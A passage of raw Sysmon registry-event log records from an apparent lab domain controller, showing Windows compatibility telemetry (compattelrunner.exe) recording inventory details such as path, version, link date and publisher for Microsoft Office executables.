13241300x800000000000000043799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\powerpnt.exe|d26b5ec93e6588c4\LowerCaseLongPathc:\program files\microsoft office\root\office16\powerpnt.exe 13241300x800000000000000043798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pj11icon.exe|3eb73d0357cb7ab9\BinProductVersion16.0.13801.20842 13241300x800000000000000043797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pj11icon.exe|3eb73d0357cb7ab9\LinkDate07/30/2021 00:22:11 13241300x800000000000000043796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pj11icon.exe|3eb73d0357cb7ab9\Publishermicrosoft corporation 13241300x800000000000000043795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pj11icon.exe|3eb73d0357cb7ab9\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\pj11icon.exe 13241300x800000000000000043794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\perfboost.exe|27e8fad257309e8d\BinProductVersion16.0.13801.20864 13241300x800000000000000043793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\perfboost.exe|27e8fad257309e8d\LinkDate08/05/2021 03:29:40 13241300x800000000000000043792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\perfboost.exe|27e8fad257309e8d\Publishermicrosoft corporation 13241300x800000000000000043791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\perfboost.exe|27e8fad257309e8d\LowerCaseLongPathc:\program files\microsoft office\root\office16\perfboost.exe 13241300x800000000000000043790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pdfreflow.exe|8db2822531d6bf4e\BinProductVersion16.0.13801.20864 13241300x800000000000000043789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pdfreflow.exe|8db2822531d6bf4e\LinkDate08/05/2021 03:33:12 13241300x800000000000000043788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pdfreflow.exe|8db2822531d6bf4e\Publishermicrosoft corporation 13241300x800000000000000043787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\pdfreflow.exe|8db2822531d6bf4e\LowerCaseLongPathc:\program files\microsoft office\root\office16\pdfreflow.exe 13241300x800000000000000043786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\outlook.exe|bf505a2e251894e\BinProductVersion16.0.13801.20864 13241300x800000000000000043785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\outlook.exe|bf505a2e251894e\LinkDate08/05/2021 03:47:43 13241300x800000000000000043784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\outlook.exe|bf505a2e251894e\Publishermicrosoft corporation 13241300x800000000000000043783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\outlook.exe|bf505a2e251894e\LowerCaseLongPathc:\program files\microsoft office\root\office16\outlook.exe 13241300x800000000000000043782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\outicon.exe|5d91efc2ef9fbaa3\BinProductVersion16.0.13801.20840 13241300x800000000000000043781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\outicon.exe|5d91efc2ef9fbaa3\LinkDate07/29/2021 06:57:01 13241300x800000000000000043780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\outicon.exe|5d91efc2ef9fbaa3\Publishermicrosoft corporation 13241300x800000000000000043779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\outicon.exe|5d91efc2ef9fbaa3\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\outicon.exe 13241300x800000000000000043778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ospprearm.exe|a1d69ba702646028\BinProductVersion(Empty) 13241300x800000000000000043777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ospprearm.exe|a1d69ba702646028\LinkDate06/29/2021 00:55:24 13241300x800000000000000043776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ospprearm.exe|a1d69ba702646028\Publisher(Empty) 13241300x800000000000000043775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ospprearm.exe|a1d69ba702646028\LowerCaseLongPathc:\program files\microsoft office\office16\ospprearm.exe 13241300x800000000000000043774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\osmclienticon.ex|bc2995a7d78281bf\BinProductVersion16.0.13801.20840 13241300x800000000000000043773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\osmclienticon.ex|bc2995a7d78281bf\LinkDate07/29/2021 06:55:44 13241300x800000000000000043772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\osmclienticon.ex|bc2995a7d78281bf\Publishermicrosoft corporation 13241300x800000000000000043771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\osmclienticon.ex|bc2995a7d78281bf\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\osmclienticon.exe 13241300x800000000000000043770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\osmadminicon.exe|1023b0e7e6d67170\BinProductVersion16.0.13801.20840 13241300x800000000000000043769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\osmadminicon.exe|1023b0e7e6d67170\LinkDate07/29/2021 06:55:44 13241300x800000000000000043768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\osmadminicon.exe|1023b0e7e6d67170\Publishermicrosoft corporation 13241300x800000000000000043767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\osmadminicon.exe|1023b0e7e6d67170\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\osmadminicon.exe 13241300x800000000000000043766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ose.exe|4d61fdf0b4f5491a\BinProductVersion16.0.55555.10000 13241300x800000000000000043765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ose.exe|4d61fdf0b4f5491a\LinkDate01/31/2021 22:16:03 13241300x800000000000000043764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ose.exe|4d61fdf0b4f5491a\Publishermicrosoft corporation 13241300x800000000000000043763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ose.exe|4d61fdf0b4f5491a\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\source engine\ose.exe 13241300x800000000000000043762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\orgchart.exe|f3872224b48ee8a5\BinProductVersion16.0.13801.20864 13241300x800000000000000043761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\orgchart.exe|f3872224b48ee8a5\LinkDate08/05/2021 03:25:31 13241300x800000000000000043760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\orgchart.exe|f3872224b48ee8a5\Publishermicrosoft corporation 13241300x800000000000000043759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\orgchart.exe|f3872224b48ee8a5\LowerCaseLongPathc:\program files\microsoft office\root\office16\orgchart.exe 13241300x800000000000000043758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onenotem.exe|ee4342edaa4ce03e\BinProductVersion16.0.13801.20864 13241300x800000000000000043757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onenotem.exe|ee4342edaa4ce03e\LinkDate08/05/2021 03:33:36 13241300x800000000000000043756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onenotem.exe|ee4342edaa4ce03e\Publishermicrosoft corporation 13241300x800000000000000043755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onenotem.exe|ee4342edaa4ce03e\LowerCaseLongPathc:\program files\microsoft office\root\office16\onenotem.exe 13241300x800000000000000043754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onenote.exe|1340679fc786a65d\BinProductVersion16.0.13801.20864 13241300x800000000000000043753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onenote.exe|1340679fc786a65d\LinkDate08/05/2021 03:33:15 13241300x800000000000000043752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onenote.exe|1340679fc786a65d\Publishermicrosoft corporation 13241300x800000000000000043751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onenote.exe|1340679fc786a65d\LowerCaseLongPathc:\program files\microsoft office\root\office16\onenote.exe 13241300x800000000000000043750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\BinProductVersion18.151.729.13 13241300x800000000000000043749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\LinkDate09/17/2018 17:44:14 13241300x800000000000000043748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\Publishermicrosoft corporation 13241300x800000000000000043747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\LowerCaseLongPathc:\program files\microsoft office\root\integration\addons\onedrivesetup.exe 13241300x800000000000000043746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\olicenseheartbea|685556b86b591b30\BinProductVersion16.0.13801.20864 13241300x800000000000000043745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\olicenseheartbea|685556b86b591b30\LinkDate08/05/2021 03:30:24 13241300x800000000000000043744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\olicenseheartbea|685556b86b591b30\Publishermicrosoft corporation 13241300x800000000000000043743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\olicenseheartbea|685556b86b591b30\LowerCaseLongPathc:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\olicenseheartbeat.exe 13241300x800000000000000043742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\olcfg.exe|a02976be835ef87a\BinProductVersion16.0.13628.20000 13241300x800000000000000043741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\olcfg.exe|a02976be835ef87a\LinkDate12/28/2020 22:28:40 13241300x800000000000000043740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\olcfg.exe|a02976be835ef87a\Publishermicrosoft corporation 13241300x800000000000000043739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\olcfg.exe|a02976be835ef87a\LowerCaseLongPathc:\program files\microsoft office\root\office16\olcfg.exe 13241300x800000000000000043738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ohub32.exe|1cbd8b063e0dbfd8\BinProductVersion16.0.13801.20842 13241300x800000000000000043737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ohub32.exe|1cbd8b063e0dbfd8\LinkDate07/30/2021 00:36:15 13241300x800000000000000043736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ohub32.exe|1cbd8b063e0dbfd8\Publishermicrosoft corporation 13241300x800000000000000043735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ohub32.exe|1cbd8b063e0dbfd8\LowerCaseLongPathc:\program files\microsoft office\root\vfs\windows\installer\{90160000-000f-0000-1000-0000000ff1ce}\ohub32.exe 13241300x800000000000000043734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\officeappguardwi|1d315891d4000f76\BinProductVersion16.0.13801.20864 13241300x800000000000000043733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\officeappguardwi|1d315891d4000f76\LinkDate08/05/2021 03:30:37 13241300x800000000000000043732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\officeappguardwi|1d315891d4000f76\Publishermicrosoft corporation 13241300x800000000000000043731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\officeappguardwi|1d315891d4000f76\LowerCaseLongPathc:\program files\microsoft office\root\office16\officeappguardwin32.exe 13241300x800000000000000043730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:44:43.174{7BD73061-6F54-613B-1109-00000000F001}5340C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{6a23687d-a480-6737-9cb7-c3f138c02f33}\Root\InventoryApplicationFile\ocpubmgr.exe|bf7b23fd8b5a21e6\BinProductVersion16.0.13801.20864 13241300x800000000000000043729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 